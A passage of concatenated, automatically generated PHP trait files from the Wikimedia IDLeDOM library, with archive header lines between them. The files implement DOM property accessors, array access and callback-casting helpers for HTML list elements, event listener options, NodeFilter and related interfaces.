				$this->setSpellcheck( $value );
				return;
			case "autocapitalize":
				$this->setAutocapitalize( $value );
				return;
			case "innerText":
				$this->setInnerText( $value );
				return;
			case "compact":
				$this->setCompact( $value );
				return;
			default:
				break;
		}
		'@phan-var \Wikimedia\IDLeDOM\Helper\HTMLDListElement $this';
		// @var \Wikimedia\IDLeDOM\Helper\HTMLDListElement $this
		$this->_setMissingProp( $name, $value );
	}

	/**
	 * @param string $name
	 */
	public function __unset( string $name ): void {
		'@phan-var \Wikimedia\IDLeDOM\HTMLDListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLDListElement $this
		switch ( $name ) {
			case "nodeType":
				break;
			case "nodeName":
				break;
			case "baseURI":
				break;
			case "isConnected":
				break;
			case "ownerDocument":
				break;
			case "parentNode":
				break;
			case "parentElement":
				break;
			case "childNodes":
				break;
			case "firstChild":
				break;
			case "lastChild":
				break;
			case "previousSibling":
				break;
			case "nextSibling":
				break;
			case "nodeValue":
				$this->setNodeValue( null );
				return;
			case "textContent":
				$this->setTextContent( null );
				return;
			case "innerHTML":
				break;
			case "previousElementSibling":
				break;
			case "nextElementSibling":
				break;
			case "children":
				break;
			case "firstElementChild":
				break;
			case "lastElementChild":
				break;
			case "childElementCount":
				break;
			case "assignedSlot":
				break;
			case "namespaceURI":
				break;
			case "prefix":
				break;
			case "localName":
				break;
			case "tagName":
				break;
			case "id":
				break;
			case "className":
				break;
			case "classList":
				break;
			case "slot":
				break;
			case "attributes":
				break;
			case "shadowRoot":
				break;
			case "outerHTML":
				break;
			case "style":
				break;
			case "contentEditable":
				break;
			case "enterKeyHint":
				break;
			case "isContentEditable":
				break;
			case "inputMode":
				break;
			case "onload":
				break;
			case "dataset":
				break;
			case "nonce":
				break;
			case "tabIndex":
				break;
			case "title":
				break;
			case "lang":
				break;
			case "translate":
				break;
			case "dir":
				break;
			case "hidden":
				break;
			case "accessKey":
				break;
			case "accessKeyLabel":
				break;
			case "draggable":
				break;
			case "spellcheck":
				break;
			case "autocapitalize":
				break;
			case "innerText":
				break;
			case "offsetParent":
				break;
			case "offsetTop":
				break;
			case "offsetLeft":
				break;
			case "offsetWidth":
				break;
			case "offsetHeight":
				break;
			case "compact":
				break;
			default:
				return;
		}
		$trace = debug_backtrace();
		while (
			count( $trace ) > 0 &&
			$trace[0]['function'] !== "__unset"
		) {
			array_shift( $trace );
		}
		trigger_error(
			'Undefined property' .
			' via ' . ( $trace[0]['function'] ?? '' ) . '(): ' . $name .
			' in ' . ( $trace[0]['file'] ?? '' ) .
			' on line ' . ( $trace[0]['line'] ?? '' ),
			E_USER_NOTICE
		);
	}

	/**
	 * @return bool
	 */
	public function getCompact(): bool {
		'@phan-var \Wikimedia\IDLeDOM\Element $this';
		// @var \Wikimedia\IDLeDOM\Element $this
		return $this->hasAttribute( 'compact' );
	}

	/**
	 * @param bool $val
	 */
	public function setCompact( bool $val ): void {
		'@phan-var \Wikimedia\IDLeDOM\Element $this';
		// @var \Wikimedia\IDLeDOM\Element $this
		if ( $val ) {
			$this->setAttribute( 'compact', '' );
		} else {
			$this->removeAttribute( 'compact' );
		}
	}

}
Helper/HTMLOListElement.php000066600000034746151335077250011557 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Helper;

trait HTMLOListElement {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * Handle an attempt to get a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * return null (like JavaScript), dynamically create the
	 * property, etc.
	 * @param string $prop the name of the property requested
	 * @return mixed
	 */
	abstract protected function _getMissingProp( string $prop );

	/**
	 * Handle an attempt to set a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * ignore the operation (like JavaScript), dynamically create
	 * the property, etc.
	 * @param string $prop the name of the property requested
	 * @param mixed $value the value to set
	 */
	abstract protected function _setMissingProp( string $prop, $value ): void;

	// phpcs:enable

	/**
	 * @param string $name
	 * @return mixed
	 */
	public function __get( string $name ) {
		'@phan-var \Wikimedia\IDLeDOM\HTMLOListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLOListElement $this
		switch ( $name ) {
			case "nodeType":
				return $this->getNodeType();
			case "nodeName":
				return $this->getNodeName();
			case "baseURI":
				return $this->getBaseURI();
			case "isConnected":
				return $this->getIsConnected();
			case "ownerDocument":
				return $this->getOwnerDocument();
			case "parentNode":
				return $this->getParentNode();
			case "parentElement":
				return $this->getParentElement();
			case "childNodes":
				return $this->getChildNodes();
			case "firstChild":
				return $this->getFirstChild();
			case "lastChild":
				return $this->getLastChild();
			case "previousSibling":
				return $this->getPreviousSibling();
			case "nextSibling":
				return $this->getNextSibling();
			case "nodeValue":
				return $this->getNodeValue();
			case "textContent":
				return $this->getTextContent();
			case "innerHTML":
				return $this->getInnerHTML();
			case "previousElementSibling":
				return $this->getPreviousElementSibling();
			case "nextElementSibling":
				return $this->getNextElementSibling();
			case "children":
				return $this->getChildren();
			case "firstElementChild":
				return $this->getFirstElementChild();
			case "lastElementChild":
				return $this->getLastElementChild();
			case "childElementCount":
				return $this->getChildElementCount();
			case "assignedSlot":
				return $this->getAssignedSlot();
			case "namespaceURI":
				return $this->getNamespaceURI();
			case "prefix":
				return $this->getPrefix();
			case "localName":
				return $this->getLocalName();
			case "tagName":
				return $this->getTagName();
			case "id":
				return $this->getId();
			case "className":
				return $this->getClassName();
			case "classList":
				return $this->getClassList();
			case "slot":
				return $this->getSlot();
			case "attributes":
				return $this->getAttributes();
			case "shadowRoot":
				return $this->getShadowRoot();
			case "outerHTML":
				return $this->getOuterHTML();
			case "style":
				return $this->getStyle();
			case "contentEditable":
				return $this->getContentEditable();
			case "enterKeyHint":
				return $this->getEnterKeyHint();
			case "isContentEditable":
				return $this->getIsContentEditable();
			case "inputMode":
				return $this->getInputMode();
			case "onload":
				return $this->getOnload();
			case "dataset":
				return $this->getDataset();
			case "nonce":
				return $this->getNonce();
			case "tabIndex":
				return $this->getTabIndex();
			case "title":
				return $this->getTitle();
			case "lang":
				return $this->getLang();
			case "translate":
				return $this->getTranslate();
			case "dir":
				return $this->getDir();
			case "hidden":
				return $this->getHidden();
			case "accessKey":
				return $this->getAccessKey();
			case "accessKeyLabel":
				return $this->getAccessKeyLabel();
			case "draggable":
				return $this->getDraggable();
			case "spellcheck":
				return $this->getSpellcheck();
			case "autocapitalize":
				return $this->getAutocapitalize();
			case "innerText":
				return $this->getInnerText();
			case "offsetParent":
				return $this->getOffsetParent();
			case "offsetTop":
				return $this->getOffsetTop();
			case "offsetLeft":
				return $this->getOffsetLeft();
			case "offsetWidth":
				return $this->getOffsetWidth();
			case "offsetHeight":
				return $this->getOffsetHeight();
			case "reversed":
				return $this->getReversed();
			case "start":
				return $this->getStart();
			case "type":
				return $this->getType();
			case "compact":
				return $this->getCompact();
			default:
				break;
		}
		'@phan-var \Wikimedia\IDLeDOM\Helper\HTMLOListElement $this';
		// @var \Wikimedia\IDLeDOM\Helper\HTMLOListElement $this
		return $this->_getMissingProp( $name );
	}

	/**
	 * @param string $name
	 * @return bool
	 */
	public function __isset( string $name ): bool {
		'@phan-var \Wikimedia\IDLeDOM\HTMLOListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLOListElement $this
		switch ( $name ) {
			case "nodeType":
				return true;
			case "nodeName":
				return true;
			case "baseURI":
				return true;
			case "isConnected":
				return true;
			case "ownerDocument":
				return $this->getOwnerDocument() !== null;
			case "parentNode":
				return $this->getParentNode() !== null;
			case "parentElement":
				return $this->getParentElement() !== null;
			case "childNodes":
				return true;
			case "firstChild":
				return $this->getFirstChild() !== null;
			case "lastChild":
				return $this->getLastChild() !== null;
			case "previousSibling":
				return $this->getPreviousSibling() !== null;
			case "nextSibling":
				return $this->getNextSibling() !== null;
			case "nodeValue":
				return $this->getNodeValue() !== null;
			case "textContent":
				return $this->getTextContent() !== null;
			case "innerHTML":
				return true;
			case "previousElementSibling":
				return $this->getPreviousElementSibling() !== null;
			case "nextElementSibling":
				return $this->getNextElementSibling() !== null;
			case "children":
				return true;
			case "firstElementChild":
				return $this->getFirstElementChild() !== null;
			case "lastElementChild":
				return $this->getLastElementChild() !== null;
			case "childElementCount":
				return true;
			case "assignedSlot":
				return $this->getAssignedSlot() !== null;
			case "namespaceURI":
				return $this->getNamespaceURI() !== null;
			case "prefix":
				return $this->getPrefix() !== null;
			case "localName":
				return true;
			case "tagName":
				return true;
			case "id":
				return true;
			case "className":
				return true;
			case "classList":
				return true;
			case "slot":
				return true;
			case "attributes":
				return true;
			case "shadowRoot":
				return $this->getShadowRoot() !== null;
			case "outerHTML":
				return true;
			case "style":
				return true;
			case "contentEditable":
				return true;
			case "enterKeyHint":
				return true;
			case "isContentEditable":
				return true;
			case "inputMode":
				return true;
			case "onload":
				return true;
			case "dataset":
				return true;
			case "nonce":
				return true;
			case "tabIndex":
				return true;
			case "title":
				return true;
			case "lang":
				return true;
			case "translate":
				return true;
			case "dir":
				return true;
			case "hidden":
				return true;
			case "accessKey":
				return true;
			case "accessKeyLabel":
				return true;
			case "draggable":
				return true;
			case "spellcheck":
				return true;
			case "autocapitalize":
				return true;
			case "innerText":
				return true;
			case "offsetParent":
				return $this->getOffsetParent() !== null;
			case "offsetTop":
				return true;
			case "offsetLeft":
				return true;
			case "offsetWidth":
				return true;
			case "offsetHeight":
				return true;
			case "reversed":
				return true;
			case "start":
				return true;
			case "type":
				return true;
			case "compact":
				return true;
			default:
				break;
		}
		return false;
	}

	/**
	 * @param string $name
	 * @param mixed $value
	 */
	public function __set( string $name, $value ): void {
		'@phan-var \Wikimedia\IDLeDOM\HTMLOListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLOListElement $this
		switch ( $name ) {
			case "nodeValue":
				$this->setNodeValue( $value );
				return;
			case "textContent":
				$this->setTextContent( $value );
				return;
			case "innerHTML":
				$this->setInnerHTML( $value );
				return;
			case "id":
				$this->setId( $value );
				return;
			case "className":
				$this->setClassName( $value );
				return;
			case "classList":
				$this->setClassList( $value );
				return;
			case "slot":
				$this->setSlot( $value );
				return;
			case "outerHTML":
				$this->setOuterHTML( $value );
				return;
			case "style":
				$this->setStyle( $value );
				return;
			case "contentEditable":
				$this->setContentEditable( $value );
				return;
			case "enterKeyHint":
				$this->setEnterKeyHint( $value );
				return;
			case "inputMode":
				$this->setInputMode( $value );
				return;
			case "onload":
				$this->setOnload( $value );
				return;
			case "nonce":
				$this->setNonce( $value );
				return;
			case "tabIndex":
				$this->setTabIndex( $value );
				return;
			case "title":
				$this->setTitle( $value );
				return;
			case "lang":
				$this->setLang( $value );
				return;
			case "translate":
				$this->setTranslate( $value );
				return;
			case "dir":
				$this->setDir( $value );
				return;
			case "hidden":
				$this->setHidden( $value );
				return;
			case "accessKey":
				$this->setAccessKey( $value );
				return;
			case "draggable":
				$this->setDraggable( $value );
				return;
			case "spellcheck":
				$this->setSpellcheck( $value );
				return;
			case "autocapitalize":
				$this->setAutocapitalize( $value );
				return;
			case "innerText":
				$this->setInnerText( $value );
				return;
			case "reversed":
				$this->setReversed( $value );
				return;
			case "start":
				$this->setStart( $value );
				return;
			case "type":
				$this->setType( $value );
				return;
			case "compact":
				$this->setCompact( $value );
				return;
			default:
				break;
		}
		'@phan-var \Wikimedia\IDLeDOM\Helper\HTMLOListElement $this';
		// @var \Wikimedia\IDLeDOM\Helper\HTMLOListElement $this
		$this->_setMissingProp( $name, $value );
	}

	/**
	 * @param string $name
	 */
	public function __unset( string $name ): void {
		'@phan-var \Wikimedia\IDLeDOM\HTMLOListElement $this';
		// @var \Wikimedia\IDLeDOM\HTMLOListElement $this
		switch ( $name ) {
			case "nodeType":
				break;
			case "nodeName":
				break;
			case "baseURI":
				break;
			case "isConnected":
				break;
			case "ownerDocument":
				break;
			case "parentNode":
				break;
			case "parentElement":
				break;
			case "childNodes":
				break;
			case "firstChild":
				break;
			case "lastChild":
				break;
			case "previousSibling":
				break;
			case "nextSibling":
				break;
			case "nodeValue":
				$this->setNodeValue( null );
				return;
			case "textContent":
				$this->setTextContent( null );
				return;
			case "innerHTML":
				break;
			case "previousElementSibling":
				break;
			case "nextElementSibling":
				break;
			case "children":
				break;
			case "firstElementChild":
				break;
			case "lastElementChild":
				break;
			case "childElementCount":
				break;
			case "assignedSlot":
				break;
			case "namespaceURI":
				break;
			case "prefix":
				break;
			case "localName":
				break;
			case "tagName":
				break;
			case "id":
				break;
			case "className":
				break;
			case "classList":
				break;
			case "slot":
				break;
			case "attributes":
				break;
			case "shadowRoot":
				break;
			case "outerHTML":
				break;
			case "style":
				break;
			case "contentEditable":
				break;
			case "enterKeyHint":
				break;
			case "isContentEditable":
				break;
			case "inputMode":
				break;
			case "onload":
				break;
			case "dataset":
				break;
			case "nonce":
				break;
			case "tabIndex":
				break;
			case "title":
				break;
			case "lang":
				break;
			case "translate":
				break;
			case "dir":
				break;
			case "hidden":
				break;
			case "accessKey":
				break;
			case "accessKeyLabel":
				break;
			case "draggable":
				break;
			case "spellcheck":
				break;
			case "autocapitalize":
				break;
			case "innerText":
				break;
			case "offsetParent":
				break;
			case "offsetTop":
				break;
			case "offsetLeft":
				break;
			case "offsetWidth":
				break;
			case "offsetHeight":
				break;
			case "reversed":
				break;
			case "start":
				break;
			case "type":
				break;
			case "compact":
				break;
			default:
				return;
		}
		$trace = debug_backtrace();
		while (
			count( $trace ) > 0 &&
			$trace[0]['function'] !== "__unset"
		) {
			array_shift( $trace );
		}
		trigger_error(
			'Undefined property' .
			' via ' . ( $trace[0]['function'] ?? '' ) . '(): ' . $name .
			' in ' . ( $trace[0]['file'] ?? '' ) .
			' on line ' . ( $trace[0]['line'] ?? '' ),
			E_USER_NOTICE
		);
	}

	/**
	 * @return bool
	 */
	public function getReversed(): bool {
		'@phan-var \Wikimedia\IDLeDOM\Element $this';
		// @var \Wikimedia\IDLeDOM\Element $this
		return $this->hasAttribute( 'reversed' );
	}

	/**
	 * @param bool $val
	 */
	public function setReversed( bool $val ): void {
		'@phan-var \Wikimedia\IDLeDOM\Element $this';
		// @var \Wikimedia\IDLeDOM\Element $this
		if ( $val ) {
			$this->setAttribute( 'reversed', '' );
		} else {
			$this->removeAttribute( 'reversed' );
		}
	}

	/**
	 * @return string
	 */
	public function getType(): string {
		'@phan-var \Wikimedia\IDLeDOM\Element $this';
		// @var \Wikimedia\IDLeDOM\Element $this
		return $this->getAttribute( 'type' ) ?? '';
	}

	/**
	 * @param string $val
	 */
	public function setType( string $val ): void {
		'@phan-var \Wikimedia\IDLeDOM\Element $this';
		// @var \Wikimedia\IDLeDOM\Element $this
		$this->setAttribute( 'type', $val );
	}

	/**
	 * @return bool
	 */
	public function getCompact(): bool {
		'@phan-var \Wikimedia\IDLeDOM\Element $this';
		// @var \Wikimedia\IDLeDOM\Element $this
		return $this->hasAttribute( 'compact' );
	}

	/**
	 * @param bool $val
	 */
	public function setCompact( bool $val ): void {
		'@phan-var \Wikimedia\IDLeDOM\Element $this';
		// @var \Wikimedia\IDLeDOM\Element $this
		if ( $val ) {
			$this->setAttribute( 'compact', '' );
		} else {
			$this->removeAttribute( 'compact' );
		}
	}

}
Helper/TypeError.php000066600000001717151335077250010451 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Helper;

trait TypeError {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * Handle an attempt to get a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * return null (like JavaScript), dynamically create the
	 * property, etc.
	 * @param string $prop the name of the property requested
	 * @return mixed
	 */
	protected function _getMissingProp( string $prop ) {
		$trace = debug_backtrace();
		trigger_error(
			'Undefined property via __get(): ' . $prop .
			' in ' . $trace[1]['file'] .
			' on line ' . $trace[1]['line'],
			E_USER_NOTICE
		);
		return null;
	}

	// phpcs:enable

}
Helper/EventListenerOptions.php000066600000007677151335077250012674 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Helper;

trait EventListenerOptions {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * Handle an attempt to get a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * return null (like JavaScript), dynamically create the
	 * property, etc.
	 * @param string $prop the name of the property requested
	 * @return mixed
	 */
	protected function _getMissingProp( string $prop ) {
		$trace = debug_backtrace();
		while (
			count( $trace ) > 0 &&
			$trace[0]['function'] !== "__get"
		) {
			array_shift( $trace );
		}
		trigger_error(
			'Undefined property' .
			' via ' . ( $trace[0]['function'] ?? '' ) . '(): ' . $prop .
			' in ' . ( $trace[0]['file'] ?? '' ) .
			' on line ' . ( $trace[0]['line'] ?? '' ),
			E_USER_NOTICE
		);
		return null;
	}

	/**
	 * Handle an attempt to set a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * ignore the operation (like JavaScript), dynamically create
	 * the property, etc.
	 * @param string $prop the name of the property requested
	 * @param mixed $value the value to set
	 */
	protected function _setMissingProp( string $prop, $value ): void {
		$trace = debug_backtrace();
		while (
			count( $trace ) > 0 &&
			$trace[0]['function'] !== "__set"
		) {
			array_shift( $trace );
		}
		trigger_error(
			'Undefined property' .
			' via ' . ( $trace[0]['function'] ?? '' ) . '(): ' . $prop .
			' in ' . ( $trace[0]['file'] ?? '' ) .
			' on line ' . ( $trace[0]['line'] ?? '' ),
			E_USER_NOTICE
		);
	}

	// phpcs:enable

	/**
	 * @param string $name
	 * @return mixed
	 */
	public function __get( string $name ) {
		'@phan-var \Wikimedia\IDLeDOM\EventListenerOptions $this';
		// @var \Wikimedia\IDLeDOM\EventListenerOptions $this
		switch ( $name ) {
			case "capture":
				return $this->getCapture();
			default:
				break;
		}
		'@phan-var \Wikimedia\IDLeDOM\Helper\EventListenerOptions $this';
		// @var \Wikimedia\IDLeDOM\Helper\EventListenerOptions $this
		return $this->_getMissingProp( $name );
	}

	/**
	 * @param string $name
	 * @return bool
	 */
	public function __isset( string $name ): bool {
		'@phan-var \Wikimedia\IDLeDOM\EventListenerOptions $this';
		// @var \Wikimedia\IDLeDOM\EventListenerOptions $this
		switch ( $name ) {
			case "capture":
				return true;
			default:
				break;
		}
		return false;
	}

	/**
	 * @param mixed $offset
	 * @return bool
	 */
	public function offsetExists( $offset ): bool {
		switch ( $offset ) {
			case "capture":
				return true;
			default:
				break;
		}
		return false;
	}

	/**
	 * @param mixed $offset
	 * @return mixed
	 */
	public function offsetGet( $offset ) {
		return $this->$offset;
	}

	/**
	 * @param mixed $offset
	 * @param mixed $value
	 */
	public function offsetSet( $offset, $value ): void {
		$this->$offset = $value;
	}

	/**
	 * @param mixed $offset
	 */
	public function offsetUnset( $offset ): void {
		unset( $this->$offset );
	}

	/**
	 * Create a EventListenerOptions from an associative array.
	 *
	 * @param array|\Wikimedia\IDLeDOM\EventListenerOptions $a
	 * @return \Wikimedia\IDLeDOM\EventListenerOptions
	 */
	public static function cast( $a ) {
		if ( $a instanceof \Wikimedia\IDLeDOM\EventListenerOptions ) {
			return $a;
		}
		return new class( $a ) extends \Wikimedia\IDLeDOM\EventListenerOptions {
			use EventListenerOptions;

			/** @var array */
			private $a;

			/**
			 * @param array $a
			 */
			public function __construct( $a ) {
				$this->a = $a;
			}

			/**
			 * @return bool
			 */
			public function getCapture(): bool {
				return $this->a["capture"] ?? false;
			}

		};
	}

}
Helper/AddEventListenerOptions.php000066600000007703151335077250013273 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Helper;

use Wikimedia\IDLeDOM\AbortSignal;

trait AddEventListenerOptions {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * Handle an attempt to get a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * return null (like JavaScript), dynamically create the
	 * property, etc.
	 * @param string $prop the name of the property requested
	 * @return mixed
	 */
	abstract protected function _getMissingProp( string $prop );

	/**
	 * Handle an attempt to set a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * ignore the operation (like JavaScript), dynamically create
	 * the property, etc.
	 * @param string $prop the name of the property requested
	 * @param mixed $value the value to set
	 */
	abstract protected function _setMissingProp( string $prop, $value ): void;

	// phpcs:enable

	/**
	 * @param string $name
	 * @return mixed
	 */
	public function __get( string $name ) {
		'@phan-var \Wikimedia\IDLeDOM\AddEventListenerOptions $this';
		// @var \Wikimedia\IDLeDOM\AddEventListenerOptions $this
		switch ( $name ) {
			case "capture":
				return $this->getCapture();
			case "passive":
				return $this->getPassive();
			case "once":
				return $this->getOnce();
			case "signal":
				return $this->getSignal();
			default:
				break;
		}
		'@phan-var \Wikimedia\IDLeDOM\Helper\AddEventListenerOptions $this';
		// @var \Wikimedia\IDLeDOM\Helper\AddEventListenerOptions $this
		return $this->_getMissingProp( $name );
	}

	/**
	 * @param string $name
	 * @return bool
	 */
	public function __isset( string $name ): bool {
		'@phan-var \Wikimedia\IDLeDOM\AddEventListenerOptions $this';
		// @var \Wikimedia\IDLeDOM\AddEventListenerOptions $this
		switch ( $name ) {
			case "capture":
				return true;
			case "passive":
				return true;
			case "once":
				return true;
			case "signal":
				return true;
			default:
				break;
		}
		return false;
	}

	/**
	 * @param mixed $offset
	 * @return bool
	 */
	public function offsetExists( $offset ): bool {
		switch ( $offset ) {
			case "capture":
			case "passive":
			case "once":
			case "signal":
				return true;
			default:
				break;
		}
		return false;
	}

	/**
	 * @param mixed $offset
	 * @return mixed
	 */
	public function offsetGet( $offset ) {
		return $this->$offset;
	}

	/**
	 * @param mixed $offset
	 * @param mixed $value
	 */
	public function offsetSet( $offset, $value ): void {
		$this->$offset = $value;
	}

	/**
	 * @param mixed $offset
	 */
	public function offsetUnset( $offset ): void {
		unset( $this->$offset );
	}

	/**
	 * Create a AddEventListenerOptions from an associative array.
	 *
	 * @param array|\Wikimedia\IDLeDOM\AddEventListenerOptions $a
	 * @return \Wikimedia\IDLeDOM\AddEventListenerOptions
	 */
	public static function cast( $a ) {
		if ( $a instanceof \Wikimedia\IDLeDOM\AddEventListenerOptions ) {
			return $a;
		}
		return new class( $a ) extends \Wikimedia\IDLeDOM\AddEventListenerOptions {
			use AddEventListenerOptions;

			/** @var array */
			private $a;

			/**
			 * @param array $a
			 */
			public function __construct( $a ) {
				$this->a = $a;
			}

			/**
			 * @return bool
			 */
			public function getCapture(): bool {
				return $this->a["capture"] ?? false;
			}

			/**
			 * @return bool
			 */
			public function getPassive(): bool {
				return $this->a["passive"] ?? false;
			}

			/**
			 * @return bool
			 */
			public function getOnce(): bool {
				return $this->a["once"] ?? false;
			}

			/**
			 * @return AbortSignal
			 */
			public function getSignal() {
				return $this->a["signal"];
			}

		};
	}

}
Helper/NodeFilter.php000066600000005542151335077250010551 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Helper;

use Wikimedia\IDLeDOM\Node;

trait NodeFilter {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * Handle an attempt to get a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * return null (like JavaScript), dynamically create the
	 * property, etc.
	 * @param string $prop the name of the property requested
	 * @return mixed
	 */
	protected function _getMissingProp( string $prop ) {
		$trace = debug_backtrace();
		while (
			count( $trace ) > 0 &&
			$trace[0]['function'] !== "__get"
		) {
			array_shift( $trace );
		}
		trigger_error(
			'Undefined property' .
			' via ' . ( $trace[0]['function'] ?? '' ) . '(): ' . $prop .
			' in ' . ( $trace[0]['file'] ?? '' ) .
			' on line ' . ( $trace[0]['line'] ?? '' ),
			E_USER_NOTICE
		);
		return null;
	}

	/**
	 * Handle an attempt to set a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * ignore the operation (like JavaScript), dynamically create
	 * the property, etc.
	 * @param string $prop the name of the property requested
	 * @param mixed $value the value to set
	 */
	protected function _setMissingProp( string $prop, $value ): void {
		$trace = debug_backtrace();
		while (
			count( $trace ) > 0 &&
			$trace[0]['function'] !== "__set"
		) {
			array_shift( $trace );
		}
		trigger_error(
			'Undefined property' .
			' via ' . ( $trace[0]['function'] ?? '' ) . '(): ' . $prop .
			' in ' . ( $trace[0]['file'] ?? '' ) .
			' on line ' . ( $trace[0]['line'] ?? '' ),
			E_USER_NOTICE
		);
	}

	// phpcs:enable

	/**
	 * Make this callback interface callable.
	 * @param mixed ...$args
	 * @return int
	 */
	public function __invoke( ...$args ) {
		'@phan-var \Wikimedia\IDLeDOM\NodeFilter $this';
		// @var \Wikimedia\IDLeDOM\NodeFilter $this
		return $this->acceptNode( $args[0] );
	}

	/**
	 * Create a NodeFilter from a callable.
	 *
	 * @param callable|\Wikimedia\IDLeDOM\NodeFilter $f
	 * @return \Wikimedia\IDLeDOM\NodeFilter
	 */
	public static function cast( $f ) {
		if ( $f instanceof \Wikimedia\IDLeDOM\NodeFilter ) {
			return $f;
		}
		return new class( $f ) implements \Wikimedia\IDLeDOM\NodeFilter {
			use NodeFilter;

			/** @var callable */
			private $f;

			/**
			 * @param callable $f
			 */
			public function __construct( $f ) {
				$this->f = $f;
			}

			/**
			 * @param Node $node
			 * @return int
			 */
			public function acceptNode( /* Node */ $node ): int {
				$f = $this->f;
				return $f( $node );
			}
		};
	}
}
Helper/EventListener.php000066600000005572151335077250011310 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Helper;

use Wikimedia\IDLeDOM\Event;

trait EventListener {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * Handle an attempt to get a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * return null (like JavaScript), dynamically create the
	 * property, etc.
	 * @param string $prop the name of the property requested
	 * @return mixed
	 */
	protected function _getMissingProp( string $prop ) {
		$trace = debug_backtrace();
		while (
			count( $trace ) > 0 &&
			$trace[0]['function'] !== "__get"
		) {
			array_shift( $trace );
		}
		trigger_error(
			'Undefined property' .
			' via ' . ( $trace[0]['function'] ?? '' ) . '(): ' . $prop .
			' in ' . ( $trace[0]['file'] ?? '' ) .
			' on line ' . ( $trace[0]['line'] ?? '' ),
			E_USER_NOTICE
		);
		return null;
	}

	/**
	 * Handle an attempt to set a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * ignore the operation (like JavaScript), dynamically create
	 * the property, etc.
	 * @param string $prop the name of the property requested
	 * @param mixed $value the value to set
	 */
	protected function _setMissingProp( string $prop, $value ): void {
		$trace = debug_backtrace();
		while (
			count( $trace ) > 0 &&
			$trace[0]['function'] !== "__set"
		) {
			array_shift( $trace );
		}
		trigger_error(
			'Undefined property' .
			' via ' . ( $trace[0]['function'] ?? '' ) . '(): ' . $prop .
			' in ' . ( $trace[0]['file'] ?? '' ) .
			' on line ' . ( $trace[0]['line'] ?? '' ),
			E_USER_NOTICE
		);
	}

	// phpcs:enable

	/**
	 * Make this callback interface callable.
	 * @param mixed ...$args
	 * @return void
	 */
	public function __invoke( ...$args ) {
		'@phan-var \Wikimedia\IDLeDOM\EventListener $this';
		// @var \Wikimedia\IDLeDOM\EventListener $this
		$this->handleEvent( $args[0] );
	}

	/**
	 * Create a EventListener from a callable.
	 *
	 * @param callable|\Wikimedia\IDLeDOM\EventListener $f
	 * @return \Wikimedia\IDLeDOM\EventListener
	 */
	public static function cast( $f ) {
		if ( $f instanceof \Wikimedia\IDLeDOM\EventListener ) {
			return $f;
		}
		return new class( $f ) implements \Wikimedia\IDLeDOM\EventListener {
			use EventListener;

			/** @var callable */
			private $f;

			/**
			 * @param callable $f
			 */
			public function __construct( $f ) {
				$this->f = $f;
			}

			/**
			 * @param Event $event
			 * @return void
			 */
			public function handleEvent( /* Event */ $event ): void {
				$f = $this->f;
				$f( $event );
			}
		};
	}
}
Helper/DocumentType.php000066600000012672151335077250011140 0ustar00<?php

// AUTOMATICALLY GENERATED.  DO NOT EDIT.
// Use `composer build` to regenerate.

namespace Wikimedia\IDLeDOM\Helper;

trait DocumentType {

	// Underscore is used to avoid conflicts with DOM-reserved names
	// phpcs:disable PSR2.Methods.MethodDeclaration.Underscore
	// phpcs:disable MediaWiki.NamingConventions.LowerCamelFunctionsName.FunctionName

	/**
	 * Handle an attempt to get a non-existing property on this
	 * object.  The default implementation raises an exception
	 * but the implementor can choose a different behavior:
	 * return null (like JavaScript), dynamically create the
	 * property, etc.
	 * @param string $prop the name of the property requested
	 * @return mixed
